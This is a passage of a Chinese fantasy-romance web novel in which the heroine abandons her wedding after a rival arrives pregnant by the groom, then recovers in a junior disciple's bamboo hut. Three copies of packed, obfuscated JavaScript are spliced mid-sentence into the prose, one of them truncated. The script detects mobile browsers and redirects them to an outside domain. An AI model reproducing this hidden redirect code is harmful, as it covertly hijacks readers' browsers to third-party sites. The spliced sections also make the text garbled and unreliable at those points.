但这并不影响他长成一个仪态万千,风度翩翩的贵公子,而且脾气随和,笑起来的时候很是亲切。 黎煊能那么快统一天界战线,他身为最早的黎煊派系,带领南明神族带头支持,最是功不可没。 这样低调强大的一个人,大部分时候,孟星遥总会忘记他其实是个行动不便的特殊人士。 几人纷纷回礼:“楚师兄。” 孟星遥感到危梦之往她身后站了一点,浑身在轻颤,明显不想和来人有所接触。 果然如此。她就知道,这世界上能让这个小霸王这么激动的,除了他爹妈,就只有他这个总是和颜悦色的表兄了。 危梦之很讨厌楚沧玉。 原先还在南明神族时,他就不是很看得上这个天残的哥哥。楚沧玉之所以会天残,原因就是他母亲怀着孕的时候堕魔,生下他之后,直接杀夫离家一去不复返。 他是二公子的唯一孩子,紫翎凤凰一族对他的感情很是复杂,加之他老妈刚离家那会为了向魔祖表忠心,对这个前夫家心狠手辣,有点秘密全给说了,也因此导致南荒被入侵时损失惨重。 楚沧玉没爹疼没娘爱,好在他大伯心疼弟弟,爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725733|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋及乌,对他也视如己出。 他天资聪颖,又勤奋踏实,也算不辱没了伯父的苦心孤诣,长成了一表人才的模样。最后他甚至继承了凤鷟王的称号,成为新的神主,扶大厦之将倾,带着南明神族投靠黎煊,走出了一条新路。 但危梦之本就和紫翎凤凰有着杀父之仇,对楚沧玉更是没什么好脸色。 他从南明神族脱离后,楚沧玉是第一个出面,也是最坚决要带他回去的人。 他觉得这个人很伪善,其他人都对金羽孔雀族脱离一事敢怒不敢言,只有他非要出来管,给自己立名声,而且两个人同在衡天府办事,免不了要碰上。 每次遇见他,总是要争吵一番,然后让他想起危恒和苏梓芸的惨死,心里更是堵得慌。 归明仙府的典礼必然是要请他。危梦之本想看在大局上,维持一个仙人该有的风度,和神族之间应有的体面。 然而最近诸事不顺,一看见楚沧玉,就没忍住多喝了两杯,这人还偏生又要来找他谈话,他一烦躁,就跑出来了。 结果还好巧不巧碰上孟星遥和闻衍声两个人私会。 他更生!气!了! 想到这儿,危梦之气不打一处来,一把拽住孟星遥的手,将她往自己这边拉近:“你马上要跟我结亲了,再怎么样,也不许私下跟其他男的待在一起,知道吗?” 他声音不大,可大家站得近,都能听个大概,他虽没指名道姓,在场的人也明白他指的是谁。 “我只是碰巧遇见......” “碰巧?这么巧的事全让你遇上了?还有,你拿他东西干什么,知不知道避嫌,要送不能一起?......” 众人面面相觑,闻衍声再性情淡漠,也是有几分如芒在背。 他轻咳了一声,似乎想找个借口带着闻晴离开,但还未及开口,突然就听见孟星遥语气不善的声音。 “你有完没完。”孟星遥冷冰冰地盯着危梦之,原本就清雅的嗓音更是如凝了一层霜雪,“跟你说了多少次不要喝酒,你是觉得我能一而再再而三地容忍你耍性子吗?” 危梦之愣住了,其他人也愣住了。 楚沧玉身为在场几人中资历最高的人,见此情形,忙出声劝慰:“梦之,星遥,这大典的日子,莫要置气,不如我们先回去,离开太久,也不合时宜……” 话音未落,危梦之环顾四周,突然冷笑一声:“我耍性子?我……好,既然你那么想,那就当我耍性子吧。” 他重重地甩开孟星遥的手,御风而去,决然消失在众人的视线里。 “欸,梦之……” 楚沧玉阻拦不及,伸出的手悬在半空。闻晴揽住孟星遥的胳膊,担忧地望向她。 闻衍声说:“要不我们几人分头去找吧,他喝醉了,想来也不知道自己在做什么。” “不必了,都回去吧。我会处理的。”孟星遥摇了摇头,“那边快到尾声了,别等会一瞅我们都不在,不好看。” 她好似早就对此见怪不怪了,不等众人回应,便身姿挺拔,步履如风地带头往回走去。 一路上越接近宴会,周遭便越是热闹,人来人往,推杯换盏。 很快便有其他人来同她打招呼,有天府同僚,也有旧时同门,孟星遥接待得不可开交,不多时便将方才的插曲抛掷脑后。 直到有一很久没听过,又有些熟悉的女声响起。 “阿遥?”沈容姬一身桃夭长裙,笑眯眯地冲她颔首。 她脚步一滞。 13.第十三章 差点忘了,今天沈容姬也被邀来了。 当年天玄学宫弟子们出山入世,她跟着她一起去了琅华。相较于其他人,自从她离开琅华后,跟她才是真的再未曾见过。 但她请她纯粹出于礼节,本身并不是很想见。 沈容姬和她初识于天玄学宫,因同为凡人,感情一开始自然是好的,但日子一久,彼此的差异也逐渐显现。 她人倒是不坏,唯有一点让她极为难受。便是无论她做什么,沈容姬老爱亦步亦趋跟着,从穿衣打扮,到术法修行,总要跟她贴近。 起初她以为只是两人感情好,但随着她后来越发得寸进尺,她终于感觉不适,只能拐着弯地逐渐疏远她。 下山之前,沈容姬原本是想跟着危梦之和苏祈月一同前往南荒。但彼时的南明郡仍战火遍野,十分危险,楚沧玉也尚未建立重霄,她去了之后无所依靠,犹豫再三后还是选择跟随孟星遥一同去琅华。 后来孟星遥离开琅华,她倒是毛遂自荐想当百里清音的徒弟,不过没成功,但最后在琅华也算是混出了点名头。 和危梦之在一起后,孟星遥其实有些踌躇,毕竟当年沈容姬对危梦之的感情她看在眼里,即便过去了这么多年,但年少回忆最是刻骨铭心。 不过沈容姬知道后,却是很开心地回信说:“真好,没想到他竟也是如此痴情的一个人,只盼他能好好待你就好。” 一如现在,她轻轻地同她问好。 她出落地越发标致可人,也不再像当年那样莽撞爱哭,但两人许久未见,再深的感情也早已消磨。 孟星遥耐下性子同她客套了几句,便起身要走,沈容姬也没挽留,只递了一只小巧精致的珠钗给她:“那就祝你新婚快乐了。” 她低下头,珠钗上的两只燕子比翼齐飞,形容可爱,两小无猜。 “谢谢。”她只来得及说这么一句,就被身旁跑来的闻晴拉走。临走前的最后一眼,是沈容姬轻巧地转身,没入了人群之中。 闻晴是被闻衍声派来找她的。谢云迢那边长久不见她,问起这事,闻衍声正好在旁边,便让闻晴来寻她。 回去的路上,闻晴一边跟她聊宗门内的繁琐诸事,一边抱怨她哥的唠叨严格,听得孟星遥哈哈直笑,心头阴霾也散去不少。 没想到这么多年过去,闻衍声倒是一点变化也没有,还越发的古板严苛。 “我都不敢想,他以后老了,是多无聊的一个老头!”闻晴用手比划着当胡须,“别的女孩子看他多么年轻英俊的外貌,结果一了解,内心比修泽神君还老,这也太吓人了!” 修泽是比清微、墨华还大一辈的神君,是天玄仙府的挂名长老,此番也请了他,正和一群小辈神仙喝得春风满面。 “你少说两句吧。”孟星遥说,“我看见你兄长往这边看了。” “什么,我可没说他。”闻晴做贼心虚地闭了嘴,但下一秒,又惊呼出声,“哇,那是什么!” 孟星遥循声望去,只见不远处一条宽阔的天河划过天地交界,飘然而升,其上星光点点,泛出淡淡的红色光华,绚丽夺目。 她忽然想起来,今天好像是年关之际,亦是凡间的新年。 天界和人间虽然有壁,不可随意来往,但山林湖海皆是相连。 每年此时,凡间祈福的河灯会循着天河漂流上来,一盏接一盏,带着无数人的祝愿,化作莹星点点。 “砰!” 突然一声巨响,其后漫天烟花升起,盛放出一片绚烂。 在场的很多神族未曾见过凡间的烟花,毕竟他们不需驱赶恶兽。即便是人修,也是多年未见,此刻都纷纷驻足,惊喜欢呼。 孟星遥这才发觉原来这么晚了。 这是宗门筹备庆典之时,凡间汝河国君意欲拜归明为国宗,特地送来贺礼。汝河是大雍遗址之上成立的新国,和前朝有着千丝万缕的联系,她和谢云迢有心扶持,故也没拒绝。 贺礼里面恰好就有烟花一物,本来只是随赠品,却让她有了想法,于是特地准备了这出表演。 无数烟花升空,璀璨绚烂,映着漫天的天河福灯,美不胜收。 谢云迢不知道什么时候站到了她的身边。 “看起来师父很喜欢。”她抬头轻声和他说。顺着她的视线望去,黎煊这样挑剔的人,此刻也露出了惊叹的神情,和一旁的长昀、重春交谈赞叹。 不仅是他们,就连闻氏兄妹,楚沧玉、池苒、蔺沉光等人也都看得入迷,驻足欣赏。 “那你喜欢吗?”谢云迢忽然问道。 “喜欢呀,你记得不,我小时候很喜欢看。” “记得。”谢云迢说,“有一年宫中不让放,你还和我偷溜去民间看,结果回来时被禁军给抓住了。” 有这种事?孟星遥一时想不起来,不过她也懒得想,都过去千百年了,记不得也正常。 她努努嘴,提醒谢云迢道:“你看,苏师妹也很喜欢呢。” 他还未曾回话,另一边的苏祈月注意到了他俩的视线,十分不好意思地笑了笑,又恋恋不舍地流连目光于烟花。 一场烟花盛会给庆典画上了完美的句号。 孟星遥很是满意,但她还未来得及高兴,苏祈月却地找来了。 “阿遥师姐,你有看见梦之吗?”她问道,“怎么我到处都寻不见他?” 她愣了一下,这才想起来,似乎从方才他赌气离开,到烟火结束,确实一直不见他踪影。 心中升起不祥的预感。她急忙起身要去找他,但还没走出多远,突然看见一个熟悉的身影跌跌撞撞地回来了。 是危梦之。 他似乎已经醒了酒,但心绪不宁,很是急切。孟星遥喊了他好几声,他才如梦初醒地转过头。 一看见她,他愣了一下,往后退了两步,随即眼眶红红的,又冲了过来,一把将她抱在怀里。 她听见他如擂鼓一般的心跳,响得快要把她震聋了。 “你怎么啦?”她抚摸着他的背,像是在安抚一只受惊的小鸟。 危梦之一言不发,忽然打横将她抱起,带着她回到了松篁院。 一进屋,他就将自己浸泡在温泉之中,久到孟星遥都以为他要把自己溺死的时候,他打开了房门。 他只披了一件玄色外袍,敞露的胸膛还淌着薄薄的水渍,紧贴着他常带的那串孔雀蓝项链,肌肤泛着被热水浸泡后不均匀的粉色。 他贴近她,缠绵时比往日都更加用力,像是要将自己揉进她的身体,彻底不分开。 孟星遥不是很明白他怎么了,捧着他的脸,望向他那一双黑玉琉璃似的眼睛里倒映出的,忐忑的自己。 现在想来,那时的她,其实早已有了心神不宁的感觉。 但她没有问。 她没有问他那天去了哪里,他也没有说,两个素来意见相左的人,却在这件事上达成了莫名的默契。 那天过后,危梦之竟再也没闹过脾气,对她可谓是百依百顺。 即便孟星遥又因公事不辞而别好几天,回来时他也只会放下手上工作,替她泡上宁神茶,揉一揉她的肩颈和手。 她摸着他的头发,打趣说:“这是谁家的小孔雀,我怎么不认识了?” 他温柔地坐在一旁笑着,将她的手贴上自己的脸颊,满眼里都是她。 窗外月明雀啼,屋里灯火通明,平静安宁,如果这般就此一生,其实也是一件幸事。 只可惜。 这般如梦一般的日子,在三个月后即将结亲的前夕,还是和她悬着的心,一起沉了下去。 归明升阶为仙府后,一切逐渐步入正轨。 其实之前为了筹备婚事, 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“没什么。”她随口回道,又听他说:“你和梦之出事了。” “瞎说什么呀!”她猛地站起身,动作之大,连她自己都愣了一下。 谢云迢讶异地看向她,孟星遥咬着下唇,强装镇定地说道:“我没事。” “我没事。”她像是在解释,又像是在说给自己听,“阿迢,我们俩会结契的,都等了那么久,不可能会不结契,对吧?” 谢云迢凝视她良久,轻轻点了点头:“嗯,会结契的。” 好在随着日子一天天过去,整个归明仙府逐渐呈现出的喜庆氛围,延缓了她内心的焦躁难平。 一切都那么风平浪静,什么都没有发生。 所有的不安仿佛都只是她的疑神疑鬼。 试婚服时,她端坐在梳妆台之前,红玛瑙珠串垂挂在她的眼前,让她的美貌更添了几分朦胧神秘。 满屋的红烛摇曳,一身玄色红绣金滚边礼服的危梦之出现在她的身后,两人透过铜镜相视一笑。 可昏暗的灯火映照下,那笑意却留驻在嘴角,未曾抵达心底。 结婚的吉日就那么自然而然地到了。 为了照顾她的喜好,一切规格,都尽量仿照人族的规矩。 寅时初刻,危梦之从长云峰正式出发,铺开连绵百里的接亲队伍,绕清衡山一圈,赏赐各宗门后,再跨过斗崖天堑的考验前去池华殿接她。 接亲成功后,两人一同去往宗门大殿,在众亲眷宾客的见证下,朝着南荒南明洲及大雍旧址的方向跪拜父母先神,最后行夫妻对拜之礼,滴血结契。 这是十方仙洲成立以来,最盛大的一场婚礼。 一切都很顺利,随着一个又一个步骤走完,清衡山座下连绵万里的漫天烟火彩灯,见证着他们的幸福。 黎煊等人亦被请来,端坐上位,来给他二人证婚。 外面堆叠满满,皆是各方仙门神家送来的贺礼。 孟星遥行完对拜之礼,起身时,透过孔雀羽扇的罅隙,恰好对上危梦之那温柔又炙热的目光。 “阿遥,”他说,“真像做梦一样,我们终于要结契了。” 他握住那布了禁制的玉匕首,只待用它划破两人的手心,在法阵上互相印上属于对方的灵血,即可礼成。 是阿,就像梦一样。 然而,她心里的话音未落,突然听见一声娇俏的女声。 “我是来晚了,还是来早了?” 她猛地循声望去,映入眼帘的,是一身红衣的沈容姬跨步而来,盛装打扮,容姿貌美。 但比起她的美貌,更加引人注目的,是她那微微隆起的小腹。 14.第十四章 满座哗然,但比所有人动作更快的,是谢云迢起身上前,凌冽的剑意破空而去,拦住了沈容姬还想往前走的脚步。 “你来做什么?怎么进来的?” 他缓步挡在孟星遥和危梦之的跟前,眼锋如刀,似乎沈容姬敢再往前走,天行十一剑法就会即刻出阵,将她钉死在当场。 沈容姬果然犹豫着止住了步伐。 但这并不妨碍她那一张嘴还能继续说话。 “阿遥,我真伤心,我们那么多年的情谊,你为何最后还是没给我下帖子?” 她轻笑一声,那原本清秀的面貌因一直仿着她打扮,竟也染了几分明艳妖冶的味道:“还是说,你不敢给我呢?” 身后的宾客窃窃私语,孟星遥低垂着眼眸,袖中的手握了又握。 苏祈月看不下去了,也跟着过来,但还保持着温和得体的笑容,试图缓和气氛:“容姬,帖子是我派的,应当是我忙漏了,真是对不住。你来了,就先入座,回头我自罚三杯,再看如何补偿你,好吗?” 沈容姬摇了摇头。 她轻柔地抚摸着自己的肚子,看向孟星遥的眼神,落到了危梦之身上:“你一定很好奇,大典那天他消失了那么久,到底去了哪里吧?” “我告诉你,那天他……” “够了!你闭嘴!” 危梦之厉声喝斥,这一声太过震耳,吓得沈容姬的话停了半截。他吼完之后即刻慌张地扶住孟星遥,试图将她搂进怀中安慰。 沈容姬的嘴角泛起冷笑,她紧盯着面无表情的孟星遥,突然癫狂地笑了起来。 “哈哈哈哈哈哈,你演得好好啊,可是自欺欺人有意思吗?你的未婚夫君睡了我,还让我怀了孩子,你那么聪慧,恐怕大典的当天就已经猜到了吧!都这样了,你还要结啊,孟星遥啊孟星遥,你也不过如此啊。既然这样,那日后我们共侍一夫,也不失为一桩美事……” 她笑得眼泪都出来了,可话音未落,突然感觉脊背攀爬上一股刺骨悚然的凉意,肌肤瞬间漫出鸡皮疙瘩。 有冲天的剑气刹那间降至头顶,下一刻便会将她穿成刺猬。 耳边传来此起彼伏的惊呼,她看见那原本对她怒目而视的几人都瞪大了眼睛,而站立在中间的孟星遥冷冰冰地抬起头直视自己,一双眸子深若寒潭,里面是浓烈得化不开的杀意。 沈容姬惊恐地张大嘴巴,摔倒在地。 然而只是一瞬,那冲天的杀气被一股威压猛地弹开,化为无形。 高座之上的黎煊站起身,沉着威严的声音传来:“阿遥,今日是你大婚。” 满座鸦雀无声。 身着喜服的孟星遥缓缓转过身,看向黎煊,又环顾四周的每一个人,最后落到危梦之身上。 危梦之看着她,眼里满是急切和担忧,却又一句话都说不出。 她抬脚往外走去。 美丽的孔雀裙摆拖曳过富丽堂皇的大殿,她每一步都走得缓慢又沉重,最后她转过身,摘下手上的红玉桃枝手镯,重重地砸在地上。 众目睽睽之下,玉镯碎裂一地。 “这婚,我不结了。”她说。 “阿遥!” 危梦之踉跄奔跑而来,试图抓住她翩飞的衣角,却被沈容姬一把拉住。他愤怒地想踹开她,可她却如同溺水的人抓住稻草一般,怎么都甩不开。 重春和池苒等人反应过来,急忙都奔出来寻她,但还是晚了一步。说完那句话,她早已御风而去,飞也似地消失在了众人的视线里。 精致的婚服太过沉重,孟星遥一边出走,一边将身上多余的礼服、冠冕、首饰,一点一点地摘掉。 她漫无目的地飞着,一直到再也听不见人声,才放缓了脚步。 天公爱凑热闹,仿佛还嫌她不够狼狈似的,明明是精心选过的良辰吉日,居然开始细细密密地下起了雨。 她孤零零地随意走着,也不知道自己到了哪里。明明已经离开好一会儿,可心跳如擂鼓,愈演愈烈,仿佛就在她的耳边炸响。 方才对沈容姬露骨的杀意,让她一阵后怕。 她伸手想按住剧烈跳动的心脏,可看见空空如也的手腕,却让她更加喘不上气。 太冲动,实在是太冲动了,明明还可以有其他法子解决,为什么要这么冲动。脑海里突然浮现出年少时在天玄学宫因犯错而受罚的情形,那时的她尚敢不服气地同黎煊顶嘴,却不料他冷笑一声,看着一脸视死如归的她,转头给一旁乖乖受罚的谢云迢又加了几重禁制。 她瞬间慌乱,尖叫着挡住痛苦的谢云迢,怒目而视,气得恨不能和他同归于尽。 “没本事就老实挨罚。”黎煊说,“冲动有用吗?你这点能耐,除了把事变得更糟,能改变什么?” 他的眼神淡淡,尽是嘲讽。 这人从来就爱杀人诛心,而且知道捅哪里最痛。 她仰起头,细密的雨丝落下,分不清滚落脸颊的,是雨还是泪。 三月的天气还带着凉意,可她却浑身滚烫,跪倒在地。修士的身体经煅体之炼,素来强健,但并不代表百病不侵。 有轻缓的脚步声由远及近,有人一身白衣,穿过雨幕,撑着油纸伞走到她身边。 她看见他的面容,忽然瞪大了眼睛,挣扎着拉住他的袖子,委屈至极地喊道:“师父……” 消失了很久的元桓景诧异地看着她,他的手背覆上她的额头,眉头紧蹙,随后俯下身子,将昏迷过去的她抱起。 醒来时外面倾盆大雨,似天幕撕裂一般。 一觉沉睡,黑甜无梦。 孟星遥睁开眼睛,她已经记不清从什么时候开始很久没有安心睡过一次觉,自执掌归明要务、受重任于衡天盟以来,焦虑和烦躁总是如影随形地伴着她,池华殿没日没夜地燃着宁神香。 她不是个擅长处理这些事的人。 今夜难得一觉香甜,醒来时缓了好一会儿才聚焦了视线。 她坐起身,屋子里不大明亮,但烛光柔和,空气清甜。竹桌前坐了一位素衣男子,正捧卷细读,见她醒了,他站起身,行了一礼,柔声问道:“师伯,你好些了吗?” 孟星遥眨眨眼,她隐约记得自己昏迷前看见了元桓景,原来是梦也不是梦。 眼前的男子和元桓景有着五分相似的面貌,可是并不是他。她记得他的名字,叫叶韶景,是归明仙府座下春来堂的一位普通弟子。 她点点头,两人一时无话,此时突然有东西从她的额头上掉了下来。 原来是一块浸了水的小白布,她错愕地拿起来,又往旁边一看,水盆里还浸泡着好几块。 这是什么年代的办法? 叶韶景见状,有些不好意思地笑道:“我……我法力低微,你烧得太厉害,我只能用这种土法子了。” 孟星遥闻言仔细地打量了他,忽然问道:“你在春来堂过得不好吗?” 叶韶景似乎没料到孟星遥居然还记得他,原本已经到嘴边的自我介绍又咽了回去,他摇摇头,语气释然:“能有一个地方肯收留我已经很好,凌远不敢奢求太多。” 她没说什么,起身下床,在这间简陋的竹屋里踏着烛光缓步环顾了两圈。屋子不大,家具也很少,看起来都像是自己做的,粗糙简易,但摆了很多的书,帘子后面还有个大书桌,桌子和墙上铺满了很多画纸和草稿。 “你住在这儿?” “也不是,平日还是在春来堂的弟子居,这里是小翠竹林,也没什么人会来,所以我就……”他这才意识到什么,有些忐忑地说道,“若是不能私建,我即刻就拆了。” 原来自己跑来了这么人迹罕至的地方。小翠竹林靠近斗崖天堑的后方,又没什么灵草灵兽,就一片空落落的竹子,也不大,拿来练功也不合适,基本不会有人靠近这里。 孟星遥点点头:“确实如此,未曾上报,私自搭建,不仅要拆,还要记过。” 叶韶景的头耷拉下来,一副果然如此的表情。 “不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶韶景看完最后一个字时,门吱呀一声打开了,孟星遥从里走出,恰好与他四目对视。 她的眼眶有些泛红,但看起来心情好了许多。应当是知道外面发生了什么,她看见他略显慌乱的表情时并不意外,整个人淡然疏离,像一尊美丽无暇的白瓷玉雕仙女像一般。 两人相顾无言,叶韶景纠结万分,最后还是叹了一口气:“按他们的效率,应当最迟下午,便会找到这片竹林了。” “……”,孟星遥有些诧异,“我不会怪你……” 她说的是真心话。他俩非亲非故,此举人之常情。 “我知道……”叶韶景攥紧衣角,又慢慢松开,“但我心情不好的时候,也喜欢来这里,如果供出你,这里也不会有了。” 直到此时,孟星遥才开始真正打量起这个和元桓景有着五分相像的师侄。 他的身世并不是什么秘密,甚至有些可悲。 幼年孤露,流落山林,被一群妖狐捡去,理当是留着当储备粮,却不知为何没吃,反而让他意外长大。等妖巢被剿,他被救下时,已经十八有余,不会说人话,更不敢见人。 有好心人见他可怜,给了他一个活计赖以生存,不至于饿死。他磕磕绊绊地适应人类生活,学习识字,也算是活了下来,一直到归明宗布道招生,他碰巧有点灵脉,便被收入了宗门,兜兜转转去到了春来堂。 但也是入门之后才发现,他那灵脉,并非真正的灵脉,而是混杂了妖血的废脉,空有寿命,却阻塞停滞,难以修炼,只能一直当一个不老的废物,直至某天妖力枯竭,才能慢慢老死。 这样的人,身份很是尴尬。 人妖自古两立,不共戴天,更别提前任妖皇庆离携妖部扶持魔祖重渊,虽然后面两者反目,但妖族魔修早已血脉混杂,你中有我,难以分割。 大荒之壤上存在人妖相恋而诞的半妖,人人厌恶,而他的处境亦不比半妖好多少。 尽管与天生的半妖相比,他身世更惹人同情,情有可原,不至于被到处追打,但左右两边,都没有愿意真正接纳他的地方。 15.第十五章 好在苏祈月心善,愿意收留他。 起初有她的照拂,他在归明宗日子也算不错,同门对他照顾有加,修为虽然进展缓慢,但各种灵丹妙药和仙法秘籍加持下,也有了一点小起色。 师兄弟们为了助他融入宗门,还会时常带他一起去下山历练,他性子软弱孤僻,多和同门一起办事,也颇有益处。 然而,他却几次三番,动了恻隐之心,协助清巢时,悄悄放跑了妖兽幼子。 斩妖除魔,本应斩草除根,妖兽本就长寿记仇,此举可谓后患无穷。 危梦之怒极,把他痛罚了一顿,看在苏祈月的面子上,未曾驱逐,但是将他禁足春来堂,再也不许下山。 叶韶景此举,也令他越发形单影只,大部分时间也只是孤身一人。 孟星遥在春来堂初见他时,已经是很久之后。 她免不了错愕,急忙看向谢云迢,后者的眼底亦满是探究。 但她心里的诸般猜测,在得知他身世和所作所为之后皆化为了迟疑。 妖族屠了大雍,害死了她的长姐和元师父,她无法原谅。 世界上长得相像的人何其多,遑论不过五分相似,她和谢云迢当年又是亲眼看见师父灰飞烟灭。 加之她彼时与危梦之情意正浓,终究没有多插手。 时间一久,苏祈月似乎也已经忘了还有这么一个徒弟。 既无人看管,他的禁足令也松了一些,好歹能在清衡山界内随意走走,只是再没下过山。 孟星遥坐在叶韶景搬来的藤椅上,置于屋檐之下小作休息。 此时雨过天晴,日头正好,竹林之间微风徐徐,草木沙沙,枝叶之上沾了欲滴的露珠。 连空气都带了清爽畅快之意。 叶韶景侍立在一旁,见她半眯着眼,像是睡着了,正要松一口气,忽然又听她问道:“你还会种植草药?” 他一怔,看向她目光所至之处,那是竹林里开垦出的一小片园子,里头种了各类其他草木。 “是。” “你想学医术?” 踌躇良久,他回道:“也不全是,只是宗门医修不多,师父她又日理万机,勉力兼管,春来堂时常人满为患。虽大家皆可学丹药之术,但总有像我这般普通的弟子,银钱不够,修为低下,便想着种些草药以备不时之需,或也可接济同门。” 孟星遥抬眸看他。 削瘦柔弱的男子好似一阵风便能吹倒,可一缕天光此时恰好照亮了他缝了补丁的衣衫。 她生来聪慧,至今未如何遭过修炼之困,师门关系亦处得如鱼得水,天界尊者,皆是她手足好友。 她同他们这样的人,有如云泥之别。 但他说的这般情形,却忽然让她想起很久远之前,踏上逃亡东荒之路时,那段辛苦艰难却又已模糊不清的记忆。 她站起了身。 “我先走了。”孟星遥说,“多谢你的款待,若有什么需求,可来池华殿寻我。” 叶韶景被她突如其来的道谢弄得手足无措,愣了一番才想起来行礼:“师伯言重了,是凌远的份内之举。” 孟星遥微微颔首,转身拂袖御风而去,但行至半空时,她忽而转头。 小竹屋已变成了一个小四方,那人还未离开,仍在仰头看她。 他孑然而立,微风吹起他的发丝衣摆,飘然摇动。 恍惚间,好似当年,元桓景也曾如此模样。 孟星遥回来了的消息不胫而走。 池华殿登时门庭若市,但她闭门不出,来客见不到她,久而久之,跟风来安慰亲近她的人也逐渐散了。 谁也不知她去了哪里,只知她回来后,池华殿拆掉了那些华美的新婚装饰,安静无事地如同什么都没发生过。 重春闻晴等人担忧,就连黎煊和长昀离开前也来探望了一眼,但见她面色如常,能说能笑,倒显得他们大惊小怪了似的。 但她再如何故作大方,这事仍旧成了十方仙洲人尽皆知的一场闹剧。 池苒气得要死,带着彼时刚入门的公孙小绫等人,把携礼来赔罪的危梦之一伙人拦在门外,不许他们踏进来半步。 若非有两位掌门镇着,只怕长云峰也要被孟星遥的迷妹迷弟们砸个稀巴烂,成为归明仙府流传出去的第二个笑话。 最后也是谢云迢和苏祈月把危梦之的赔礼带了进来。 赔礼一箱又一箱摆了满院,皆是仙洲不可多得的珍宝。但她弃之如敝履,连眼睛都没抬一下。 如此搬了三趟后,她终于蹙了眉:“放我这里又有何用,徒增矛盾,要么我再添点,权当送与他俩的贺礼,要么拉进库房,用以充公。” 听说沈容姬的肚子日渐圆润,危梦之虽然没说要娶她,但吃住都留在了松篁院,门中已然默认她是三掌门的夫人。 神族长寿却凋敝,极重子嗣,当日一看见她已有身孕,她就明白危梦之至少在孩子出生前,是绝对不会让她有任何损伤。 她轻抚着自己不曾有过动静的腹部,那一瞬有些想不明白,这对自己究竟是好事,还是坏事。 见她不开心,苏祈月轻轻搂住她,柔声安慰:“师姐,这不仅是梦之的,也有我的赔礼。是我不曾看好他,才会导致这样的局面。但大家多年情谊一场,我还是不希望因此有了芥蒂,弄得老死不相往来。” 她身上的芳香传来,带着淡淡的甜气,一如她的嗓音一般。 孟星遥不好拂了她的面子,她确是被连累,他俩的婚事她操持最多,当日她一走了之,也是她和谢云迢一起帮忙收拾了残局。 如此想来,她最对不住的人其实是他俩。 她侧目看去,谢云迢恰好也在看她。他那双一向柔和明亮的眼睛并没有什么情绪,只淡淡说:“原不原谅,只看你自己,不必考虑我们。” 苏祈月眉头一紧,瞪了他一眼。 好在孟星遥并不是什么得理不饶人的人,闻言淡淡一笑:“罢了,多大点事,再过个千百年,谁又还记得呢。”顿了顿,又道:“日后只当同门相处便是。” 话音落下,坐她身旁的苏祈月总算是松了一口气。 他俩是一起离开的。 出门时,向来温柔得体的苏祈月没忍住,没好气地轻轻锤了两下谢云迢。 似是知道她对刚才的事有怨言,谢云迢没有躲开,而是任由她打闹。 见他没反应,苏祈月停顿一下,忽然壮着胆子抬起手,轻轻掐了一下他的脸。而谢云迢怔愣的功夫,她已经如彩蝶一般笑着跑远了。 恰逢海棠花落,他在看,她在闹,犹如画中春景,轻快美好。 孟星遥看在眼里,不知为何,突然想起很久前的一件事。 其实当年没有人能料到他俩能走到结契这一步,就连她自己也没有,一步步走来,皆浑如梦中。 而谢云迢也曾问过她,当真要嫁给危梦之吗? 可惜他问得太早,彼时的她对他正是情意最浓之际,自然最想结契,那时的谢云迢听了她的回答,沉默良久,最终只点到即止:“阿星,但世上之人,最是本性难移。” 这句话,最终未能入她的耳。 如今想来,天杀的,不信天不信地,但怎么能不信他好兄弟的劝诫。 世界上最了解一个男人的,只会是他的好兄弟。 所幸的是,归明婚闹一事,虽为笑谈,但并未成为仙洲持续很久的热闹。 因为不久后,无极帝君黎煊下令,由太微七曜率领衡天盟众仙,统领仙洲各宗,以东荒为基,开启反攻魔修、夺回昆仑神墟的西征大计。 这是继斩杀魔祖之后最大的一件事,各仙门皆进入备战之态。仙洲的话题,很快便被战火缭绕的局势所取代。 而同年的归明仙府,麾下宗门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770189|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦开始了新的调整和布置,由最初的二十二个,逐渐增长为二十八个。 木芙蓉开得最盛的时节,池华殿门前华盖云集。 各任的宗主们往来送礼,拜访诸位仙君。孟星遥虽非掌门,但谁人不懂她的地位,因此不仅礼物同等规格,亦是由宗主们亲自送礼。 和她关系最为交好的玉清道宗宗主前脚刚至,后脚和玉清不太对付的秋水灵宗也来了,一群人夹枪带炮,唇齿交锋,听得孟星遥头疼。 她出来透透气时,忽有人走上前来,朝她行了一礼,恭恭敬敬地喊道:“摇光师尊。” 眼前的人长相尚可,可惜落在她眼里就有些平平无奇,不过他一双眼睛睫毛倒是很长,垂下时,平添几分薄情忧郁的味道。 孟星遥还未开口,对方便已递上一礼,竟是凡间最为贵重的夜流纱。 “听说师尊出身前朝大雍,弟子恰好前阵子路过汝河明夜港,此物听闻曾是大雍特产,便送来请师尊鉴赏。” 薄如蝉翼的软纱缠了重重暗纹,日光折射下,如粼粼波光一般流光溢彩。 孟星遥的手拂过名贵布料,打量了对方一眼,颔首道:“有心了。” 她记得这人,名叫孙畅,是苏祈月前阵子刚破格提拔的飞雪剑宗宗主,亦是宗门的开山祖。 